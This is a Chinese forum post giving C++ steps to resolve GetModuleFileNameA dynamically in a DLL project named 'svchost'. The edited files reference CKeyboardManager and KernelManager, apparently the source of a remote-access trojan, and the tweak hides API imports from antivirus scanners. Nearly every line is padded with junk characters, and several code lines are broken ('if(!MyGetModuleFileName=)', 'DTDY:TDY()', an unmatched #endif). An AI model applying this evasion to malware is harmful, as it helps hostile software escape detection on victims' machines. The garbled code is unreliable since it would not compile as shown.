返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记5 j' u# f; R$ i6 O
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h) E: Q' v6 Q$ x( a) J& x
----------------------------------------) ]1 E, I/ I" h8 i, M/ ~9 m
DTDY.h:
) F8 c7 D0 j$ U' g
* `5 E. W; |, o* L: F#if _MSC_VER>1000
: A" t% M" Q$ U#pragma once' |. c3 F# X( r% z0 ]
#endif //_MSC_VER>1000" O0 g  a/ b9 `" A
#include<windows.h>- ]1 F# k8 ^  z; g% c- i

: l  n$ f: R1 M' H3 Vtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);# @4 A! v5 u7 I$ L- S4 e6 q' Q, z
class DTDY  ]9 @9 w, x2 q4 \9 N
{( l% t. Z" ]2 o/ \
public:
$ f, M) x0 b; e' cDTDY();3 n' V+ P. z0 l1 M# F) ?, [" B% w
virtual ~DTDY();& A7 D/ K. v* P& a+ c5 G. e& Z0 y5 j
public:) R# x5 k/ S6 l* H
static pGetModuleFileNameA MyGetModuleFileName;
% x( {! Y' n+ W- ^) m6 s  rstatic BOOL FunInitiallization();
: R- A2 r" d: H};9 E- ?; `! z- S0 ], M
#endif1 G' S# t1 X- I( J0 ^" @: _) i
----------------------------------------
& h! x5 d4 K" N" S+ o  C' \, E! A. ]% I/ W( H5 G9 @# n/ L
DTDY.cpp:
) u9 T7 t6 E. \: b. b$ D0 r, a9 G+ g6 q' U, \8 S/ H
#include "DTDY.h"
, u; r  D6 Z* f( ~4 l! XpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
% z7 `0 N0 Z+ v* x' vDTDY:TDY()
' o. N1 n9 l& U! x( ]5 A! N{% ^7 q8 p4 |8 V- t+ l
}/ X/ ~8 ?9 l& A! ~' t0 N
DTDY::~DTDY()* t' A% M) U8 \; S
{
$ A0 Y! g5 O! C: D}- f$ p- ^3 t4 ~
BOOL DTDY::FunInitiallization()9 d# A; N3 S3 f
{
$ I$ l8 _* R& m: o9 lHMODULE hModule=LoadLibrary("kernel32.dll");5 o% r# Z  J3 M) b, ]
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");9 _4 j/ e/ m2 _; B3 q, V, A4 k5 C
if(!MyGetModuleFileName=) return FALSE;5 J5 Y% z2 o0 O6 @0 H4 e

+ d+ @9 M7 I# M& k7 q9 {% Ireturn TRUE;
, z. {* ]! I, ^5 v}
; \6 m' Y, m/ a; I( C4 Y9 V----------------------------------------. B8 I6 u! Y6 ~8 H- p; R/ j
svchost.cpp:
% V1 |& O2 w: e/ h6 K/ P9 F" W5 g/ q
#include "DTDY.h"2 v- c* p6 n% X7 Q
1 M7 f. ^+ Z7 V' X2 V
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
& S5 S, o$ G* l* C* F{4 F% D/ u  \& w  E
switch(ul_reason_for_call)
8 h; \6 e( l5 v* G4 F* A{2 D0 u6 f6 {. r0 Q4 ~$ J$ ~, d+ O
case DLL_PROCESS_ATTACH:
% v6 u9 p& z  Eif(!DTDY::FunInitiallization()) return FALSE;
1 o( t6 D. C2 t  B: i) `# P: m9 f5 j! ^- q
break;
% E# C  I8 T: |5 W% W7 u}. d- O% N3 v9 G
}
3 x8 x  i  h* o! l" G2 x" F4 @' ^! r
% u$ c' n5 `, F( I
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
- j, [0 P3 L/ ~$ x) M$ S改写为
( f( z& e: i# ?, R+ iDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));# x! X# s9 O1 M& X1 v( x" U
----------------------------------------
7 ]0 }3 T/ C/ O$ B3 S8 RKernelManager.cpp:" n0 p  j9 X( d" s6 E0 |

9 H# O0 I8 O% e#include "../DTDY.h"6 n3 c8 \" b1 }. H; L' o. h* z
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));5 G3 U$ u& H; l, x, G
改写为# {0 o4 `% G+ ]7 d3 J
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
8 l. J+ G9 y4 U* Z----------------------------------------

返回列表